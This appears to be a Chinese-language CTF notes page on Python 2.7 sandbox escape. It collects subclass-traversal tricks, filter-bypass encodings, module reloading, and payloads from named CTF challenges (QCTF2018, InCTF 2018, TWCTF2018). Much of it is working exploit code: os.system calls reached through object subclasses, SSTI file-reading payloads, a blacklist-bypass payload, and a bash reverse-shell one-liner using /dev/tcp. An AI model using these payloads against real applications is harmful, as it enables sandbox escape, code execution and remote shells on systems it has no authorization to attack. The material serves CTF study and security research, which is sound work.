Python沙箱笔记
本文主要基于python2.7.14
python沙盒主要是以逃逸一些过滤,其实就是对代码执行漏洞的研究
Exploit:
文件读写
python2的file对象
types.FileType实例化
使用[].__class__.__base__.__subclasses__().index(模块名)
可以查看该模块在object子类的位置
1 | >>>[].__class__.__base__.__subclasses__().index(file) |
popen读写进程
1 | FILE *popen(const char *command,const char *open_mode); |
代码执行
exec()、eval()以及complie()
eval()函数只能计算单个表达式的值,而exec()函数可以动态运行代码段。
eval()函数可以有返回值,而exec()函数返回值永远为None。
compile() 函数将一个字符串编译为字节代码。
1 | compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1) |
__call__
等回调函数
所属类: builtin_function_or_method
1 | "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")') |
类似的还有map(),sys.call_tracing()
1 | map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',]) |
f-strings
字符串修饰符f,大写也可以
1 | name = "Eric" |
input+stdin
可在反序列化中应用
py2中的input
会执行代码而raw_input
不会
py3中删除了raw_input
,然后其功能由input
替换
1 | import StringIO |
GetShell(RCE)
取自Python_revenge HITB2018
1 | eval, execfile, compile, open, file, map, input, |
第三方库
- numpy
1 | from numpy.distutils.exec_command import _exec_command as system |
Technique
获得object对象
python的内置对象有一个__class__
属性来存储类型,python中一切均为对象,均继承object对象,并且可在通过属性subclasses来查看object的子类(包括所有的内置类)
1 | # 获得object |
字符串绕过
当有的字符串被waf的时候可以通过编码或者字符串拼接绕过
1 | >>>'ZmxhZy50eHQ='.decode('base64' ) |
将所有字符转为ascii码后,chr()组合在一起
1 | list = "import os;os.system('ls')" |
=号绕过
用__builtins__.setattr
代替
可在反序列化中应用
变量覆盖
1 | a = open |
函数名后面加点空格换一行都能执行
1 | >>>dir () |
使用别名
1 | import os as o |
函数/模块重载
可以在运行时导入模块
__import__
全局函数1
__import__('os')
reload()重载reload可以通过reload重新加载被删除的/函数模块
1 | del __builtins__.__dict__['eval'] |
- imp模块重载
1 | import imp |
- importlib模块
1 | import importlib |
属性过滤
属性直接被waf的时候不能bypass
当func_globals等 ,这时候可以使用如下方法利用属性的名字,再结合一些编码/字符串操作可以绕过
1 | __getattribute__(属性名) |
例如:
1 | >>>[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12] |
os等库被过滤
代码执行+__import__
引入os
1 | "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') |
预先载入os的库
在2.7.14中的序号
- 72 site._Printer
- 77 site.Quitter
- 60 warnings.catch_warnings —–> linecache ——>os
1 | >>>[].__class__.__base__.__subclasses__().index(warnings.catch_warnings) |
获得__builtins__
globals函数可用
1 | globals().values()[0] |
显示声明__init__
方法的库
对于__init__
方法,显示声明的话类型会从__globals__
属性,从而可以访问__builtins__
1 | #by bendawang |
1 | #py2.7.14 |
进一步寻找该类中的属性
1 | #exp2.py |
遍历某个类的属性(py3)
TWCTF2018 Shrine by DoubleSigma
1 | # search.py |
1 | import os |
Example
QCTF2018 Web Confusion1
SSTI+py沙箱逃逸
过滤了
1 | __class__ |
Payload:
1 | >>>{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').__getattribute__('re'+'ad')()}} |
InCTF 2018 The Most Secure File Uploader
注释符#断掉末尾
blacklist:
1 | import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\} |
payload:
1 | print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg |